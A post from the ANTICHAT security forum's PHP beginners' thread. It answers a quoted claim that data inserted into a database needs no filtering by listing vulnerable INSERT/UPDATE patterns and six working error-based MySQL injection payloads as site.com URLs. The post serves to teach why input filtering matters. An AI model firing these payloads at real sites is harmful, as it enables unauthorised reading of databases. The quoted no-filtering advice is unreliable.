ANTICHAT - Показать сообщение отдельно - [php] Новичкам: задаем вопросы

Цитата:

Сообщение от Failure

данные которые заносятся в базу ничем и никак фильтровать не надо

Код HTML:

insert into test (id,a) values (1,'sqli');  

insert into test (id,a) values (sqli,'test');  

insert into test set id=sqli;  

insert into test set a='sqli';  

update test set id=sqli where...;  

update test set a='sqli' where...;

Код HTML:

http://site.com/?sqli=1')on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

http://site.com/?sqli=1,(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a))--

http://site.com/?sqli=1 on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) 

http://site.com/?sqli=1'on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

http://site.com/?sqli=1 where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

http://site.com/?sqli=1'where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--